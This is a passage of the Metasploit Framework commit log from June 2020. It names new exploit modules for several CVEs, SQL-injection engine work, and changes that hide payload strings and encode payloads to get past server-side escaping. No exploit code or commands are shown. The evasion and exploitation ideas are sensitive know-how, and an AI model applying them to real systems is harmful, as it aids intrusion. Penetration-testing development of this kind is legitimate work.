hence makes things a little less obvious on the wire, and way less
obvious on disk/in the payload.

Given that we need this functionality in other Meterpreters to support
the removal of strings, some code has been added that can generate
source files for Python, C# and C. This code might move, but for now
it's at least in a spot where it's used the most.
2020-06-24 08:10:54 +10:00
antoinet b95c02aa2a Add optional baseline for http response time
A new advanced option BASELINE_AUTH_TIME allows to specify a basline
for http authentication response timess to discriminate valid/invalid
OWA users.
2020-06-23 22:08:56 +00:00
OJ 975ee313ff Add support for custom name/ordinal for RDI 2020-06-24 08:01:30 +10:00
William Vu b28d9517bc Exclude multi from automatic PAYLOAD selection 2020-06-23 16:12:28 -05:00
Niboucha Redouane c94bd3b2d8 remove verbose prints in blind injections 2020-06-23 21:33:03 +02:00
kalba-security 18926e874c Fix file_traversal_path check 2020-06-23 15:26:14 -04:00
Niboucha Redouane 2bdc693930 Replace puts with print_status and similar 2020-06-23 21:25:59 +02:00
adfoster-r7 56fe6dea63 Land #13757, Add consistent error logging for module loading and handle nil backtraces 2020-06-23 11:49:58 +01:00
Alan Foster 2439342aba Add consistent error logging for module loading 2020-06-23 11:15:08 +01:00
Metasploit 6d6f539d04 automatic module_metadata_base.json update 2020-06-23 03:56:27 -05:00
adfoster-r7 fceb96e659 Land #13608, update elog calls to be consistent across 2020-06-23 09:47:01 +01:00
Dhiraj Mishra 9984cabc02 springcloud_traversal2.md 2020-06-23 11:12:26 +04:00
adfoster-r7 6fc9fcad7a Land #13726, Update PR Template to request Demos for difficult to test Modules 2020-06-22 18:23:20 +01:00
Niboucha Redouane aaa38a3188 Fix formatting 2020-06-22 17:41:20 +02:00
Niboucha Redouane fba2d2e7be inject the datastore into the SQLi library, and register advanced options 2020-06-22 17:36:38 +02:00
Adam Galway 37498ce2a3 improved examples 2020-06-22 15:18:41 +01:00
Christophe De La Fuente 3997dbdade Updates from code review 2020-06-22 16:06:09 +02:00
Metasploit fc4b5171f7 automatic module_metadata_base.json update 2020-06-22 08:04:38 -05:00
dwelch-r7 ef86fb95e8 Land #13748, replace off with false in instructions 2020-06-22 13:55:15 +01:00
Pedro Ribeiro 68b48f7a6d add advisory url 2020-06-22 19:39:57 +07:00
Pedro Ribeiro 61806242be add requested changes 2020-06-22 19:06:42 +07:00
Adam Galway 1a2bf98222 creates standard elog & updates exisiting usages 2020-06-22 12:48:39 +01:00
Metasploit 410e283865 automatic module_metadata_base.json update 2020-06-22 06:03:34 -05:00
h00die 6e93dcf8c2 Land #13645, Trend Micro WebSecurity RCE 2020-06-22 06:51:26 -04:00
h00die 533bed6b51 pre review updates 2020-06-22 06:30:44 -04:00
h00die 4d36c2ef79 move aux/admin to netowrking 2020-06-22 06:11:11 -04:00
h00die ca3aabd5f6 move docs and cisco_config 2020-06-21 17:35:38 -04:00
h00die ef2bf10b50 aux admin to networking and rubocop 2020-06-21 16:41:11 -04:00
h00die 5e19a767f7 post to networking and rubocop done 2020-06-21 16:36:16 -04:00
h00die c61857be96 off to false 2020-06-21 16:21:40 -04:00
Niboucha Redouane fae87b3633 Merge branch 'GSOC/SQLi_Engine' of https://github.com/red0xff/metasploit-framework into GSOC/SQLi_Engine 2020-06-20 21:09:39 +02:00
Niboucha Redouane 4f756ba229 replace some classes with modules 2020-06-20 21:09:13 +02:00
Mehmet INCE f8ea4a0389 Merge pull request #2 from h00die/land-13645
fixing up some styling and rubocop run
2020-06-20 21:52:16 +03:00
h00die 6a3633c2c0 fixing up some styles and such 2020-06-20 12:05:48 -04:00
h00die 3dcf622ad6 add link to software 2020-06-20 00:12:05 -04:00
h00die 9defe33d9a docs and working module 2020-06-20 00:06:46 -04:00
h00die 9f424a8cbb cleanup getting through it 2020-06-19 22:59:19 -04:00
metacom 1a3ca6ee79 documalis_pdf_editor_and_scanner.md initial comit 2020-06-19 21:39:40 -05:00
metacom cefcb6c851 new modules with both programs documalis_pdf_editor_and_scanner 2020-06-19 21:39:16 -05:00
h00die 40e6551b8b works with cmd payload calc 2020-06-19 21:16:55 -04:00
Niboucha Redouane 5100f14b6d revert : use interpolation instead of concatenation
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2020-06-19 23:31:23 +02:00
Dhiraj Mishra dd616ca4cb Update springcloud_traversal2.rb 2020-06-20 00:03:49 +04:00
Dhiraj Mishra d2677bd4fc springcloud_traversal2 2020-06-19 23:50:17 +04:00
adfoster-r7 d38dcb349f Land #13600, fixes a crash when killing jobs such as auxiliary servers 2020-06-19 19:49:22 +01:00
Christophe De La Fuente 2e33241a90 Update module and add documentation 2020-06-19 20:17:11 +02:00
Spencer McIntyre dc9764a6ff Bump metasploit-payloads to 2.0.5 and updates payload sizes 2020-06-19 12:20:01 -04:00
mdisec 260607e8f9 Adding check on exploit method 2020-06-19 19:00:52 +03:00
Spencer McIntyre efbff6faa0 Land #13400, Change from PEM to DER for crypt TLV negotiation 2020-06-19 11:58:32 -04:00
Niboucha Redouane 9d36076264 Add option to specify the range of characters to retrieve 2020-06-19 16:41:57 +02:00
mdisec 7ab5474175 Change check method and regex for cookie 2020-06-19 16:15:11 +03:00
adfoster-r7 6d1feefc91 Land #13721, update issue templates 2020-06-19 13:00:40 +01:00
kalba-security d1792bdf51 Add extra suggestion from code review 2020-06-18 16:48:46 -04:00
kalba-security 57f40053da Improve autoselect (incorporate suggestions from code review) 2020-06-18 16:39:11 -04:00
Metasploit 26ccceed8d automatic module_metadata_base.json update 2020-06-18 15:16:52 -05:00
Shelby Pace 738dd4b5ce Land #12277, add Agent Tesla panel rce module 2020-06-18 15:06:15 -05:00
Shelby Pace 1d6e7313ce remove ForceExploit option 2020-06-18 15:05:02 -05:00
Niboucha Redouane 7c630f0403 Avoid repetitive code in blind injections 2020-06-18 20:52:02 +02:00
Metasploit 45c727a0c5 automatic module_metadata_base.json update 2020-06-18 13:04:26 -05:00
Brendan Coles b068b717d4 Land #13605, ibm_openadmin_tool_soap_welcomeserver_exec: b64 encode payload
Ensure the payload is sent base64 encoded then base64 decoded upon execution.
This mitigates potential payload corruption issues due to quoting or URL
encoding of request data on the server side.
2020-06-18 18:08:32 +00:00
mdisec 229760a826 Fixing document file and module improvements 2020-06-18 20:11:55 +03:00
Metasploit 1defd16205 Bump version of framework to 5.0.95 2020-06-18 12:04:22 -05:00
Metasploit ec9b4b0374 automatic module_metadata_base.json update 2020-06-18 10:43:56 -05:00
Shelby Pace db4006e9f6 Land #13607, add Cayin exploit modules 2020-06-18 10:33:49 -05:00
Niboucha Redouane fa43dc6dfb minor fix to the structure 2020-06-18 17:28:47 +02:00
Niboucha Redouane 305dbe9e2f refactor structure, get rid of prefix and suffix 2020-06-18 17:21:10 +02:00
gwillcox-r7 199d7db222 Fix up items mentioned by @space-r7 during her review 2020-06-18 09:56:20 -05:00
dwelch-r7 880599dcf5 Use suggestion over suggest 2020-06-18 13:44:16 +01:00
dwelch-r7 81b3b4c9d8 Use suggest over request 2020-06-18 13:37:10 +01:00
dwelch-r7 7b575fbf8b Replace termux issue with help link 2020-06-18 12:45:24 +01:00
dwelch-r7 5ec8fac100 Replace termux issue with help link 2020-06-18 12:29:59 +01:00
mdisec ff3e797246 Fixing grammers and adding additional sections 2020-06-18 12:49:53 +03:00
gwillcox-r7 a26977c6fa Finish up rest of msftidy_docs.rb documentation 2020-06-17 16:11:56 -05:00
gwillcox-r7 22c76d94c3 Fix most of the msftidy_docs.rb errors 2020-06-17 16:06:16 -05:00
Metasploit 1e2d326df8 automatic module_metadata_base.json update 2020-06-17 15:24:20 -05:00
Alan Foster b0fa808fb5 Land #13734, add shodan api key validation 2020-06-17 21:14:32 +01:00
gwillcox-r7 275ed6429e Fix up rubocop errors in the module 2020-06-17 15:11:55 -05:00
gwillcox-r7 eebacb8fbb Make adjustments so that this module only supports Windows so that we can land this for now. Linux support may be added in the future. 2020-06-17 14:56:40 -05:00
h00die 17bef31bc6 check shodan API key 2020-06-17 14:22:07 -04:00
gwillcox-r7 c29cf491ed Add idea for trying to fix up not being able to write to disk, may need further improvements 2020-06-17 12:36:00 -05:00
gwillcox-r7 813a23cec8 More fixes to documentation, but not sure if these work yet or not 2020-06-17 12:34:44 -05:00
gwillcox-r7 b6f4210bd2 Fix some typos in the Linux documentation 2020-06-17 11:29:30 -05:00
gwillcox-r7 25f32d68d5 Add in some RuboCop fixes 2020-06-17 11:15:10 -05:00
gwillcox-r7 c7bcd9152c Add in support to detect if the PHP payload was not uploaded successfully. 2020-06-17 11:13:24 -05:00
h00die 7bd2ba3aed remove debugging 2020-06-17 12:04:18 -04:00
h00die c2c931030f review comments 2020-06-17 11:47:11 -04:00
Spencer McIntyre f1c4cecf6d Add module docs for CVE-2020-13160 2020-06-17 11:30:41 -04:00
Tod Beardsley 655a323467 Add CVE-2020-7356 for Cayin xPost 2020-06-17 09:57:29 -05:00
Tod Beardsley dc54145fa9 Add CVE-2020-7357 as a reference for Caiyn CMS 2020-06-17 09:56:10 -05:00
dwelch-r7 697f9eae17 Add emoji for module request template 2020-06-17 15:41:13 +01:00
dwelch-r7 419504d0b3 Address pr comments, add termux issue 2020-06-17 15:39:54 +01:00
Spencer McIntyre 3edae89496 Add an exploit for CVE-2020-13160 2020-06-17 10:14:35 -04:00
Christophe De La Fuente 681bd63f18 Add AnyConnect RCE exploit module 2020-06-17 14:41:22 +02:00
Adam Galway affa82b06c remove links and spelling mistakes 2020-06-17 10:42:52 +01:00
gwillcox-r7 cd76b1dca0 Add in initial updates to the Linux documentation 2020-06-16 19:06:32 -05:00
Metasploit ab199e8e4e automatic module_metadata_base.json update 2020-06-16 17:10:59 -05:00
gwillcox-r7 7173848268 Land #13727, Fix author name and email in PiHole module 2020-06-16 17:00:40 -05:00
gwillcox-r7 d8c0f23df0 Add in documentation for the WebPanel1 panel on Windows 2020-06-16 16:14:01 -05:00
gwillcox-r7 5d768f266c Add in documentation for the WebPanel3 panel on Windows 2020-06-16 15:27:25 -05:00
gwillcox-r7 3787849a6b Fix cleanup code for Windows, should now have good working Windows code 2020-06-16 14:49:09 -05:00
gwillcox-r7 b25d94b9d5 Remove excess information from documentation, and remove references as these are in the module itself and thats generally the place where we put them 2020-06-16 12:29:19 -05:00
Christophe De La Fuente 37a55b11b4 Fix issues on Mac OS X
- Update the SimpleClient#create_pipe permission from 'c' (FILE_OPEN_IF
  disposition: Open the file if it already exists; otherwise, create the file)
  to 'o' (FILE_OPEN disposition: If the file already exists, return success;
  otherwise, fail the operation).
- Remove the random offset in Rex::Proto::DCERPC::Client#write (evasion). This
  is strictly prohibited by the protocol and break on MAC OS X
2020-06-16 19:25:26 +02:00
gwillcox-r7 cc0ab19dea Clear up release date and add more comments explaining purpose of some of the resource links 2020-06-16 12:17:13 -05:00
gwillcox-r7 67727c45b1 Removing excess option information from documentation 2020-06-16 12:16:20 -05:00
Adam Galway e25e0982f1 asks for specific detail in email 2020-06-16 18:04:57 +01:00
gwillcox-r7 8d0bc615d4 Correcting intra-document links within the documentation 2020-06-16 12:04:46 -05:00
Adam Galway 6e9492f784 cleanup 2020-06-16 18:01:06 +01:00
gwillcox-r7 b6dfbe926c Simplify the Description field of the exploit 2020-06-16 11:58:51 -05:00
gwillcox-r7 7d197c3168 Remove extra detail from IornCube installation steps and make it simpler to read. 2020-06-16 11:44:59 -05:00
gwillcox-r7 d84a74605a Update description section within the module docs and tidy up the areas surrounding this to make it easier to read. Also update the Windows installation instructions 2020-06-16 11:27:33 -05:00
h00die 783257ce4e fix author 2020-06-16 12:19:54 -04:00
RAMELLA Sébastien df5373bc1d update documentation file 2020-06-16 10:47:51 -05:00
RAMELLA Sébastien 876836bcce update doc and fix module syntax. 2020-06-16 10:47:51 -05:00
RAMELLA Sébastien fbffefbdb2 add. original module edb reference. 2020-06-16 10:47:50 -05:00
RAMELLA Sébastien 1ab77af898 fix. remove setup function initialization 2020-06-16 10:47:50 -05:00
RAMELLA Sébastien 624c69bebf add. authenticated exploitation 2020-06-16 10:47:50 -05:00
RAMELLA Sébastien 1a9431d965 fix. json parser and add random number into sqli 2020-06-16 10:47:49 -05:00
RAMELLA Sébastien c704dba44c add. agent tesla panel rce exploit module 2020-06-16 10:47:49 -05:00
Adam Galway c85e395b7b adds more examples 2020-06-16 16:27:26 +01:00
Adam Galway 7ceea0db06 adds examples 2020-06-16 16:23:17 +01:00
Spencer McIntyre 98391d3911 Bump metasploit-payloads to 2.0.3 and updates payload sizes 2020-06-16 10:45:30 -04:00
Metasploit b646bbcaa4 automatic module_metadata_base.json update 2020-06-16 09:41:25 -05:00
Spencer McIntyre 7fe191a43c Land #13529, Remove the old Mimikatz extension 2020-06-16 10:36:23 -04:00
gwillcox-r7 135d90e1dc Land #13628, Fix dead link in postgres_payload.rb 2020-06-16 09:30:51 -05:00
adamgalway-r7 6a92e1ab41 Spelling mistake
Co-authored-by: tperry-r7 <54866039+tperry-r7@users.noreply.github.com>
2020-06-16 14:26:52 +01:00
adamgalway-r7 533b32c009 Capitilization
Co-authored-by: tperry-r7 <54866039+tperry-r7@users.noreply.github.com>
2020-06-16 14:26:03 +01:00
Adam Galway 1860186cfe updates PR template to request module demos 2020-06-16 14:01:50 +01:00
Spencer McIntyre 4ce610e423 Bump metasploit-payloads to 2.0.2 and updates payload sizes 2020-06-16 08:58:15 -04:00
Spencer McIntyre 012e152d8f Land #13432, Add TLV encryption support to Python Meterpreter 2020-06-16 08:56:56 -04:00
Metasploit c4a1c5fca9 automatic module_metadata_base.json update 2020-06-16 07:15:32 -05:00
Adam Galway 2c4d158086 Land #13170, Blind RCE exploit for Zivif Cameras 2020-06-16 13:05:35 +01:00
Metasploit 2aad37dfba automatic module_metadata_base.json update 2020-06-16 07:00:47 -05:00
Adam Galway 4eba47f421 Land #13303, Arista TACAS+ Shell Escape 2020-06-16 12:49:05 +01:00
Silas Cutler 801ae57f12 Update zivif_ipcheck_exec.rb
Removed single space at the end of line 44
2020-06-15 23:13:20 -04:00
Silas Cutler 5f29af114b Added documentation and set default payload 2020-06-15 15:51:28 -04:00
Silas Cutler c01595799e Removed +x flag on zivif module 2020-06-15 15:05:58 -04:00
kalba-security b5ad7a8511 Use session_created, update documentation 2020-06-15 13:37:59 -04:00
kalba-security 8bc35859ff Remove comment left from testing 2020-06-15 13:22:06 -04:00
kalba-security 546dcdbeef Add register_file_for_cleanup 2020-06-15 13:13:52 -04:00
silascutler 7787cc171e Fixed tab/space problem and unmarked file executable 2020-06-15 16:37:05 +00:00
kalba-security f0255e3c81 Fix atutor_filemanager_traversal credentials checks and clean up code 2020-06-15 12:15:00 -04:00
silascutler 79a4e73b69 Updated to use current epoch time in HTTP request and removed trailing whitespace 2020-06-15 15:31:27 +00:00
Silas Cutler c27ebf25ba Update modules/exploits/unix/http/zivif_ipcheck_exec.rb
Co-authored-by: adamgalway-r7 <adam_galway@rapid7.com>
2020-06-15 11:10:01 -04:00
Metasploit 0d322a5971 automatic module_metadata_base.json update 2020-06-15 09:42:43 -05:00
Shelby Pace 1cb57a7e79 Land #13444, add GOG Galaxy Client Privesc 2020-06-15 08:53:12 -05:00
Shelby Pace 21ccb229b2 rubocop changes 2020-06-15 08:48:51 -05:00
Shelby Pace 801ef062a1 modify docs for new output 2020-06-15 08:42:27 -05:00
Shelby Pace 34366ea680 add notes, finish check 2020-06-15 08:36:32 -05:00
dwelch-r7 f7eb847ee4 Remove gatsby references 2020-06-15 11:10:23 +01:00
dwelch-r7 e5428d9cdf Use new issue templates 2020-06-15 11:06:27 +01:00
Pedro Ribeiro dad6f0a007 Update modules/exploits/multi/scada/inductive_ignition_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-06-15 16:16:09 +07:00
Pedro Ribeiro 0688b27247 Update modules/exploits/multi/scada/inductive_ignition_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-06-15 16:16:02 +07:00
Pedro Ribeiro 6b71c1930e Update modules/exploits/multi/scada/inductive_ignition_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-06-15 16:15:54 +07:00
OJ 6e1956428f Merge remote-tracking branch 'zs/wip/pr/13432' into python-tlv-enc 2020-06-15 17:01:27 +10:00
SecurityBytesMe d4fb1be83a Update check code for arista_tacacs_shell.rb 2020-06-14 15:13:30 -07:00
SecurityBytesMe ffc49ccf83 General cleanup 2020-06-14 15:10:41 -07:00
SecurityBytesMe 34e3e3c9e8 Removal of Exploit:: on CheckCode 2020-06-14 15:06:42 -07:00
SecurityBytesMe ff402ea9ac applied linting and cleaning return checks
rubocop and msftidy applied
modified check return codes
2020-06-14 14:55:43 -07:00
mdisec a0740f4698 Add trend micro websecurity rce 2020-06-14 20:33:46 +03:00
Alexandre ZANNI 2027b17b6e postgres_payload: fix deadlink
Replace the original link (dead) by the cached version in web archive.
2020-06-14 16:39:46 +02:00
Brendan Coles e95d6b5b7e post/windows/gather/checkvm: cleanup, increase efficiency, fix style
Ensure `registry_enumkeys('HKLM\SYSTEM\ControlSet001\Services')` and
`session.sys.process.get_processes` are called only once.

Update style in line with Rubocop rules
2020-06-13 22:47:22 +00:00
Niboucha Redouane 0887f3feee Improve the blind injection queries 2020-06-13 12:24:22 +02:00
kalba-security e4351d37b8 Add ATutor 2.2.4 directory traversal / RCE module and docs 2020-06-12 16:02:00 -04:00
Shelby Pace f7f711674a remove cmd target 2020-06-12 14:28:39 -05:00
gwillcox-r7 df1a9c7fdb Add ZSH autocomplete features per @smcintyre-r7's request 2020-06-12 10:44:50 -05:00
h00die 4702d87684 cleanup 2020-06-12 10:46:44 -04:00
Pedro Ribeiro 815a7c8185 fix typo 2020-06-12 12:59:31 +07:00
l0ss 49eb1efd40 Base64 enc payload to bypass escaping quotes etc.
The second step (POST with payload) of this module wasn't working as-written as the server was escaping out quotes etc.

Added b64 decoding/encoding to injected code in step 1 and step 2 payload to bypass server-side escaping of quotes etc.
2020-06-12 13:44:00 +08:00
Pedro Ribeiro a46b282975 Update and rename ignition_automation_rce.md to inductive_ignition_rce.md 2020-06-12 11:32:04 +07:00
Pedro Ribeiro dc19dc96d2 Rename ignition_automation_rce.rb to inductive_ignition_rce.rb 2020-06-12 11:30:36 +07:00
Pedro Ribeiro 534544f7fc Create ignition_automation_rce.md 2020-06-12 11:20:07 +07:00
Pedro Ribeiro 4ad9f5543e Create ignition_automation_rce.rb 2020-06-12 11:19:42 +07:00
Pedro Ribeiro b595c97da9 Merge pull request #18 from rapid7/master
aaa
2020-06-12 10:54:54 +07:00
gwillcox-r7 06e3abf7ef Finally finish adding support for x86 arbitrary service names via msfvenom 2020-06-11 21:47:38 -05:00
gwillcox-r7 87769db6fd msfvenom x64 support finished, just need to get x86 working 2020-06-11 21:46:41 -05:00
gwillcox-r7 0f30e871f6 Add --service-name option to msfvenom 2020-06-11 21:45:58 -05:00
gwillcox-r7 735dfa417e Land #13599, Rollback yanked AWS gems 2020-06-11 16:32:32 -05:00
Jeffrey Martin 28af39a6a0 a few more gems as this settles 2020-06-11 16:03:34 -05:00
Spencer McIntyre 6c5a8b8f14 Fix double encoding for unstaged Python meterpreter 2020-06-11 16:48:49 -04:00
Jeffrey Martin f11a8305f2 update to newly released gems 2020-06-11 14:30:08 -05:00
Spencer McIntyre 3491dd9db9 Check that ctx[1] has a datastore attribute 2020-06-11 13:52:18 -04:00
Jeffrey Martin a1fc65cc43 rollback yanked gem
see: https://github.com/aws/aws-sdk-ruby/pull/2329#issuecomment-642783421
2020-06-11 12:33:37 -05:00
Niboucha Redouane 3639765277 Improve code quality: less repetitive code 2020-06-11 19:16:23 +02:00
Niboucha Redouane 083d986dce Undo formatting changes to existing modules 2020-06-11 19:15:17 +02:00
Metasploit 71af59af8e Bump version of framework to 5.0.94 2020-06-11 12:03:45 -05:00
Metasploit 2ab615fa43 automatic module_metadata_base.json update 2020-06-11 06:39:55 -05:00
dwelch-r7 10bb17d8fd Land #13374, Fix encoding bug 2020-06-11 12:30:12 +01:00
Metasploit 002f65958c automatic module_metadata_base.json update 2020-06-11 01:14:52 -05:00
William Vu 1e7e346448 Land #13554, Windows BITS CVE-2020-0787 LPE 2020-06-11 01:04:42 -05:00
gwillcox-r7 0bf5a1b5ec Add in AutoCheck as per @wvu-r7's recommendation 2020-06-11 00:59:22 -05:00
gwillcox-r7 0eed09e8bd The wisdom of le @wvu-r7 has shown that CheckCode(Reason) is the way to go. Lets use this :) 2020-06-11 00:55:39 -05:00
William Vu 201dbef401 Land #13554, Windows BITS CVE-2020-0787 LPE 2020-06-11 00:38:07 -05:00
gwillcox-r7 6171c0b6fc Redo some of the messages in the module so we get more feedback on where we are in exploitation process, and shorten wait time for job 2020-06-11 00:31:07 -05:00
gwillcox-r7 586971428a Recompile everything so we don't have the messagebox calls 2020-06-11 00:18:45 -05:00
gwillcox-r7 d716580ffa Fix up the module to fix a Nil reference issue, and to prefer session.shell_command_token() over cmd_exec() due to weird errors in latter 2020-06-10 23:45:47 -05:00
gwillcox-r7 d0ff2b116a Add in some changes to the documentation to conform to linting standards 2020-06-10 23:22:43 -05:00
gwillcox-r7 d71a92c121 Rubocop fully fleshed out version of the check method 2020-06-10 22:48:20 -05:00
gwillcox-r7 553c9bf032 Finally fleshed out a full version of the check method 2020-06-10 22:46:26 -05:00
Shelby Pace 1b57c7f68d add dropper target 2020-06-10 22:01:06 -05:00
gwillcox-r7 5cd8abe3df Initial attempts to add a check method 2020-06-10 20:37:20 -05:00
h00die aec1f77b70 wip 2020-06-10 20:42:22 -04:00
gwillcox-r7 9db73454aa Update documentation to better describe the versions tested 2020-06-10 18:52:49 -05:00
Niboucha Redouane c319799c44 Add more comments 2020-06-11 00:07:53 +02:00
Metasploit 7614f01243 automatic module_metadata_base.json update 2020-06-10 15:45:57 -05:00
Spencer McIntyre 1f2b7d62a8 Land #13395, Replace METHOD string with COMMAND_ID integer (to remove obvious strings) 2020-06-10 16:40:20 -04:00
Spencer McIntyre 6ca33689ff Fix two minor errors in the powershell_session_remove command 2020-06-10 16:36:11 -04:00
William Vu ba9313fdd9 Land #13534, QNAP QTS and Photo Station LFI module 2020-06-10 15:29:53 -05:00
William Vu 6745b99716 Add Spencer's test results to module doc 2020-06-10 15:12:38 -05:00
Niboucha Redouane ecb1a0bb16 add test_vulnerable to MySQLi class, and fix minor issues with the test modules 2020-06-10 21:59:51 +02:00
William Vu b90acd3ad2 Clean up module and documentation 2020-06-10 14:41:09 -05:00
Niboucha Redouane 12681b0746 Add support for encodings to exfiltrate data containing bad characters/multibyte characters 2020-06-10 21:40:22 +02:00
William Vu 85b2964eb6 Merge remote-tracking branch 'upstream/master' into pr/13534 2020-06-10 13:05:04 -05:00
gwillcox-r7 542581a377 Update documentation to reflect recent changes to the exploit 2020-06-10 12:22:00 -05:00
gwillcox-r7 93b28e662e Change out template_dll solution files so that it generates the DLL with the correct name and in the correct location 2020-06-10 11:41:34 -05:00
gwillcox-r7 276eacccbc Add AttackerKB assessment link 2020-06-10 11:02:57 -05:00
gwillcox-r7 f0388a4e39 Minor info update to trigger a rebuild and reword some stuff 2020-06-10 11:02:57 -05:00
gwillcox-r7 94b27ce582 Fix up DisclosureDate formatting 2020-06-10 11:02:56 -05:00
gwillcox-r7 e6b07556f7 Fix up Rubocop errors and some spacing fixes 2020-06-10 11:02:56 -05:00
gwillcox-r7 773e63f286 Fix a bug which would prevent allowing support for wow64 targets unless the WindowsCoreDeviceInfo.dll file already existed on the system 2020-06-10 11:02:56 -05:00
gwillcox-r7 7753c41fe0 Remove more duplicate code and further optimize some things 2020-06-10 11:02:55 -05:00
gwillcox-r7 2485153263 Remove some duplicate and redundant code 2020-06-10 11:02:55 -05:00
gwillcox-r7 f87ebb71dc More updates to fix @wvu's suggestions 2020-06-10 11:02:55 -05:00
gwillcox-r7 b73da5979b Apply some fixes from wvu's review 2020-06-10 11:02:54 -05:00
gwillcox-r7 60d9d0e2a7 Add note to user that they may have to clean up one of the DLLs as it may sometimes not be cleaned up. 2020-06-10 11:02:54 -05:00
gwillcox-r7 7711cecee9 Final tweaks to make this more reliable, should be good now 2020-06-10 11:02:53 -05:00
gwillcox-r7 4a9c878132 Finally fix up the hanging issue via new template DLLs and associated code 2020-06-10 11:02:53 -05:00
gwillcox-r7 d6b5a1009d Add in Windows 10 v1803 x64 exploit documentation 2020-06-10 11:02:53 -05:00
gwillcox-r7 2c4f9d34ad Rubocop module again 2020-06-10 11:02:52 -05:00
gwillcox-r7 24a5774ff2 Fix spelling mistake in DLL name 2020-06-10 11:02:52 -05:00
gwillcox-r7 477418539b Upload documentation 2020-06-10 11:02:51 -05:00
gwillcox-r7 cb20eaf6f9 Finally fix the issue with the cleanup of the files within the exploit 2020-06-10 11:02:51 -05:00
gwillcox-r7 a5220d3155 One last time to add files cause I messed up last time 2020-06-10 11:02:51 -05:00
gwillcox-r7 06019585e8 Woops forgot source files last time, lets add those in 2020-06-10 11:02:50 -05:00
gwillcox-r7 401feb3e53 Change code so that we automatically exit Notepad upon DLL completing its work. Should help tidy things up more 2020-06-10 11:02:50 -05:00
gwillcox-r7 cf17b2065c Updated module with some output corrections, recompiled DLLs 2020-06-10 11:02:50 -05:00
gwillcox-r7 ae2b40bf99 Update the output of the module to be more correct. Also upload updated DLLs 2020-06-10 11:02:49 -05:00
gwillcox-r7 77791b6120 Update modules description with a simple explanation of what is going on. Add links to explain USODLLLoader code. 2020-06-10 11:02:49 -05:00
gwillcox-r7 dc060de7a9 Add initial upload of the source code 2020-06-10 11:02:48 -05:00
gwillcox-r7 fb10178701 Add in BITS configurable wait timer and Windows 10 specific target check 2020-06-10 11:02:48 -05:00
gwillcox-r7 1607b8c342 Add initial files for CVE-2020-0787 2020-06-10 11:02:35 -05:00
Metasploit fa496b9395 automatic module_metadata_base.json update 2020-06-10 08:05:42 -05:00
bwatters-r7 e48a02ce82 Land #13589, Fix edge case in rubocop module description rule
Merge branch 'land-13589' into upstream-master
2020-06-10 07:55:13 -05:00
bwatters-r7 39e63689a5 Land #13525, Gather xshell and xftp passwords
Merge branch 'land-13525' into upstream-master
2020-06-10 07:45:02 -05:00
bwatters-r7 2881a41e55 Land #13585, RuboCop autofix exploit/windows/local/cve_2020_0668_service_tracing
Merge branch 'land-13585' into upstream-master
2020-06-10 07:37:45 -05:00
Alan Foster 6007e13379 Fix edgecase in rubocop module description rule 2020-06-10 12:11:49 +01:00
Metasploit 67394f9215 automatic module_metadata_base.json update 2020-06-10 04:57:27 -05:00
Christophe De La Fuente 797673fd57 Land #13537, add new module linuxki_rce (CVE-2020-7209) 2020-06-10 11:46:34 +02:00
William Vu e669d5d78d Unf*ck the RuboCop Description formatting 2020-06-09 18:30:33 -05:00
cn-kali-team 9d67ef68fd Add Doc 2020-06-10 07:29:09 +08:00
William Vu 9f538848c4 RuboCop autofix cve_2020_0668_service_tracing 2020-06-09 18:22:42 -05:00
Numan Türle 9e810cb345 Update linuxki_rce.md 2020-06-10 02:13:38 +03:00
Numan Türle 14bb64c8ae Update linuxki_rce.rb
default payload added
2020-06-10 01:59:00 +03:00
ChristopherAnders 1381eddf50 adding arista_tacacs_shell documentation 2020-06-09 15:49:58 -07:00
Numan Türle 5483bd983f Update linuxki_rce.md 2020-06-10 01:48:12 +03:00
gwillcox-r7 1bad53ae98 Land #13583, Require msf/core/post/windows/filesystem in lib/msf/core/post/windows.rb 2020-06-09 17:42:18 -05:00
William Vu ec183d7293 Don't sort requires, since order matters here... 2020-06-09 17:20:32 -05:00
William Vu 8aae30e410 Require msf/core/post/windows/filesystem
And sort the list alphabetically.
2020-06-09 17:06:24 -05:00
Niboucha Redouane 0f936f7500 Various fixes and enhancements 2020-06-09 23:43:15 +02:00
Niboucha Redouane f1d3b33099 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into GSOC/SQLi_Engine 2020-06-09 21:15:18 +02:00
h00die b5c90ea20c xpost working 2020-06-09 13:07:00 -04:00
Metasploit 3058e52870 automatic module_metadata_base.json update 2020-06-09 11:53:48 -05:00
Christophe De La Fuente 64669d1132 Land #13576, Deprecate the psexec_psh module 2020-06-09 18:40:56 +02:00
Spencer McIntyre 7e989310bc Land #13566, Automatically select a payload on module use 2020-06-09 09:50:24 -04:00
Christophe De La Fuente 258a97fa7e Bump the RubySMB version is gemspec file 2020-06-09 15:23:39 +02:00
Christophe De La Fuente 98ac51dd5d Improvements from code review 2020-06-09 14:18:52 +02:00
Christophe De La Fuente cfc7c48333 Update auxiliary/admin/smb/delete_file module 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 9f2a29d4fe Update last batch of modules 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 3580ac18a1 Fix typo 2020-06-09 14:18:52 +02:00
Christophe De La Fuente a9a1d01419 Update some libraries and modules 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 0bb93b4efb Update modules
- ms17_010_command  and ms17_010_psexec: deregister
  SMB::ProtocolVersion option
- client: update error handling
- is_known_pipename: force SMB1 only for #enumerate_directories and
  update error handling
2020-06-09 14:18:52 +02:00
Christophe De La Fuente 24c20fe7d7 Update SimpleClient #open logic for RubySMB 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 2f873fefcd Update modules
- modules/auxiliary/scanner/smb/smb_enumshares.rb
- modules/exploits/linux/samba/setinfopolicy_heap.rb
- modules/exploits/linux/samba/trans2open.rb
- modules/exploits/multi/samba/usermap_script.rb
- modules/exploits/windows/smb/ipass_pipe_exec.rb
2020-06-09 14:18:52 +02:00
Christophe De La Fuente 04a44d2334 Improve client error/warning/debug messages 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 31a117f8f7 Update modules
- smb_ms17_010.rb
- psexec_ms17_010.rb
- psexec_psh.rb
- smb_enumshares.rb
2020-06-09 14:18:52 +02:00
